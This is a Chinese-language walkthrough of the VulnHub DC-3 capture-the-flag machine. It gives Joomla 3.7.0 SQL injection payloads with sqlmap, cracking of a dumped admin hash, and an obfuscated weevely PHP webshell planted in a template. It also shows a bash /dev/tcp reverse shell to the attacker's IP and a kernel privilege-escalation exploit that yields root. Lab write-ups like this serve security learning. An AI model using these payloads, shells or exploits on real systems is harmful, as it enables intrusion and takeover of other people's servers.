vulnhub: DC 3

Posted yurang

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通过nmap扫描,只开放了80端口,并且该web服务是基于Joomla搭建:

root@kali:~# nmap -A 192.168.74.140
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-15 10:06 CST
Nmap scan report for 192.168.74.140
Host is up (0.00046s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:8A:D7:BC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms 192.168.74.140

 通过joomscan确定joomla版本信息和后台路径:

perl joomscan.pl -u http://192.168.74.140 -ec

[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 3.7.0

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.74.140/administrator/components
http://192.168.74.140/administrator/modules
http://192.168.74.140/administrator/templates
http://192.168.74.140/images/banners


[+] Checking apache info/status files
[++] Readable info/status files are not found

[+] admin finder
[++] Admin page : http://192.168.74.140/administrator/

在kali上搜索joomla 3.7.0:

root@kali:~/joomscan# searchsploit joomla 3.7.0
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                  | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Joomla! 3.7.0 - com_fields SQL Injection                                                                        | exploits/php/webapps/42033.txt
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

存在一个SQL注入漏洞(https://www.freebuf.com/vuls/135035.html),其中有详细的利用方法:

root@kali:~/joomscan# cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap: 

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: mysql >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

 

尝试通过sqlmap写入shell失败,通过sqlmap跑出admin的密码:

Database: joomladb
Table: #__users
[1 entry]
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+----------+--------------------------------------------------------------+
| id  | name  | email                    | params                                                                                       | username | password                                                     |
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+----------+--------------------------------------------------------------+
| 629 | admin | freddy@norealaddress.net | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+-----+-------+--------------------------+----------------------------------------------------------------------------------------------+----------+--------------------------------------------------------------+

通过john破解出原始密码:

root@kali:~# echo $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu > test
root@kali:~# cat test
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
root@kali:~# john test
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Proceeding with single, rules:Single
Press q or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
snoopy           (?)
1g 0:00:00:01 DONE 2/3 (2020-04-16 15:33) 0.6410g/s 23.07p/s 23.07c/s 23.07C/s mustang..buster
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~# 

 

登录后台后,通过编辑模板除创建php文件写入shell:

技术图片

通过weevely生成shell(https://www.freebuf.com/sectool/39765.html):

root@kali:~# weevely generate shell ./shell.php
Generated ./shell.php with password shell of 772 byte size.
root@kali:~# cat shell.php 
<?php
$f=@6H6Hbase66H4_encode(@x(@g6Hzco6Hm6Hpress($o),$k)6H);print("$p6H$k6Hh$r$kf");};
$E=$k="2596H1c96H6H8b";$kh="7016H19fe6H6246H89";6H$kf6H="8b1e426H4b5e96H1";;
$h=$p="n39RTfVg6HnsNr3JV6HR";f6H6Hunction x($t,$k6H)6H{$c6H=strlen($k)6H;$l;
$p=str_replace(R,‘‘,creRatReR_fuRncRtiRon);
$V==6H=1){@o6Hb_s6Htart();@6He6Hval(@gzuncomp6Hress(6H@x(@bas6He66H4_decode($m;
$b=[1]6H),$k))6H);$o=6H@o6Hb_get_con6H6Hten6Hts();@6Hob_end_clean();$r=6H;
$i=tch("/$kh(.6H+)$kf/",@6Hf6Hile_get_con6Htents6H("php:/6H/input"6H),$m)6H;
$g=6H=strlen6H($t);$o="";6H6Hfor6H($i=0;$6Hi<$6Hl;){for($j=0;6H($j<$c&&;
$c=$6Hi<$l);$j6H6H++,6H$i++){6H$o.6H=$t{$6Hi}^$k{$j};}}re6Hturn $o;6H}if(6H6H@preg_ma6H;
$O=str_replace(6H,‘‘,$E.$h.$g.$c.$i.$V.$b.$f);
$R=$p(‘‘,$O);$R();
?>

在templates中创建一个名为shell.php的页面,把shell脚本粘贴进去保存:

技术图片

 使用weevly连接shell:

root@kali:~# weevely http://192.168.74.140/templates/beez3/shell.php shell
/usr/share/weevely/core/sessions.py:219: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.
  sessiondb = yaml.load(open(dbpath, r).read())

[+] weevely 3.7.0

[+] Target:     192.168.74.140
[+] Session:    /root/.weevely/sessions/192.168.74.140/shell_1.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
www-data
www-data@DC3VM:/var/www/html/templates/beez3 $ 

 

SUID提权和本地常见的命令提权都没戏,查看系统版本信息,尝试通过内核漏洞提权:

www-data@DC3VM:/var/www/html/templates/beez3 $ cat /etc/issue 
Ubuntu 16.04 LTS 
 l

查找exploit:

root@kali:~# searchsploit ubuntu 16.04
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                                    |  Path
                                                                                                                  | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution                                                  | exploits/linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation                                                     | exploits/linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - tracker-extract / gnome-video-thumbnailer + totem Drive-By Downl | exploits/linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - Guest Account Local Privilege Escalation                                         | exploits/linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - ldso_hwcap_6 | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - ldso_dynamic Stack Clash Local Pr | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps                                             | exploits/linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read                         | exploits/linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - BPF Local Privilege Escalation (Metasploit)                                   | exploits/linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - snd_timer_user_ccallback() Kernel Pointer Leak                                | exploits/linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - AF_PACKET Race Condition Privilege Escalation                  | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation             | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - AF_PACKET Race Condition Privilege Escalation    | exploits/linux/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - double-fdput() bpf(BPF_PROG_LOAD) Privilege Escalation                      | exploits/linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - IP6T_SO_SET_REPLACE Local Privilege Escalation                            | exploits/linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer                                                        | exploits/linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                     | exploits/linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                            | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_offset Local Privilege Escalation                 | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)             | exploits/linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR | exploits/linux/local/47169.c
------------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 

尝试了多个提权漏洞都没有成功,最后使用如下漏洞成功:

Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()‘ bpf(BPF_PROG_LOAD) Privilege Escalation                      | exploits/linux/local/39772.txt

在该txt文件中有利用脚本的下载地址:

Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载到kaili上,解压后将exploit.tar文件放到/var/www/html目录,启动apache,从DC3 通过wget下载该exploit文件。解压后编译:

www-data@DC3VM:/var/www/html/templates/beez3 $ tar -xf exploit.tar
www-data@DC3VM:/var/www/html/templates/beez3 $ ls
a.out
component.php
css
ebpf_mapfd_doubleput_exploit
error.php
exploit.tar
favicon.ico
html
images
index.php
javascript
jsstrings.php
language
shell.php
templateDetails.xml
template_preview.png
template_thumbnail.png
www-data@DC3VM:/var/www/html/templates/beez3 $ cd ebpf_mapfd_doubleput_exploit
www-data@DC3VM:/var/www/html/templates/beez3/ebpf_mapfd_doubleput_exploit $ ls
compile.sh
doubleput.c
hello.c
suidhelper.c
www-data@DC3VM:/var/www/html/templates/beez3/ebpf_mapfd_doubleput_exploit $ ./compile.sh
doubleput.c: In function make_setuid:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
www-data@DC3VM:/var/www/html/templates/beez3/ebpf_mapfd_doubleput_exploit $ ls
compile.sh
doubleput
doubleput.c
hello
hello.c
suidhelper
suidhelper.c

 

执行./doubleput,多次都未提权成功,感觉不是很稳定,尝试写入反弹shell后,通过kali监听:

<?php
system("bash -c ‘bash -i >& /dev/tcp/192.168.74.137/4444 0>&1‘ ");
?>

 

利用成功:

root@kali:/var/www/html/ebpf_mapfd_doubleput_exploit# netcat -nltp 4444
bash: cannot set terminal process group (1265): Inappropriate ioctl for device
bash: no job control in this shell
www-data@DC3VM:/var/www/html/templates/beez3$ ls
ls
a.out
bash.php
component.php
css
ebpf_mapfd_doubleput_exploit
error.php
exploit.tar
favicon.ico
html
images
index.php
javascript
jsstrings.php
language
shell.php
templateDetails.xml
template_preview.png
template_thumbnail.png
www-data@DC3VM:/var/www/html/templates/beez3$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit
www-data@DC3VM:/var/www/html/templates/beez3/ebpf_mapfd_doubleput_exploit$ ./doubleput
<l/templates/beez3/ebpf_mapfd_doubleput_exploit$ ./doubleput                 
suid file detected, launching rootshell...
we have root privs now...
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, youll have a root shell in <=60 seconds.

id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ls /root
the-flag.txt
car^Ht
bash: line 4: $cart: command not found
bat
bash: line 5: bat: command not found
cat /root/the-flag.txt
 __        __   _ _   ____                   _ _ _ _ 
        / /__| | | |  _   ___  _ __   ___| | | | |
    / / / _  | | | | | |/ _ | _  / _  | | | |
    V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \\_/\\_/ \\___|_|_| |____/ \\___/|_| |_|\\___(_|_|_|_)
                                                     

Congratulations are in order for completing DC-3VM.  :-)

I hope youve enjoyed this challenge as much as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!

 

总结:

1、namp进行地址探测,进而确定端口和服务

2、在kali上基于服务器组件及其版本号可以全局搜索利用脚本searchsploit xxx

3、通过weevely可以写入生成php shell脚本,并且可以连接该shell

4、通过searchsploit全局搜索提权脚本进行linux内核提权

 

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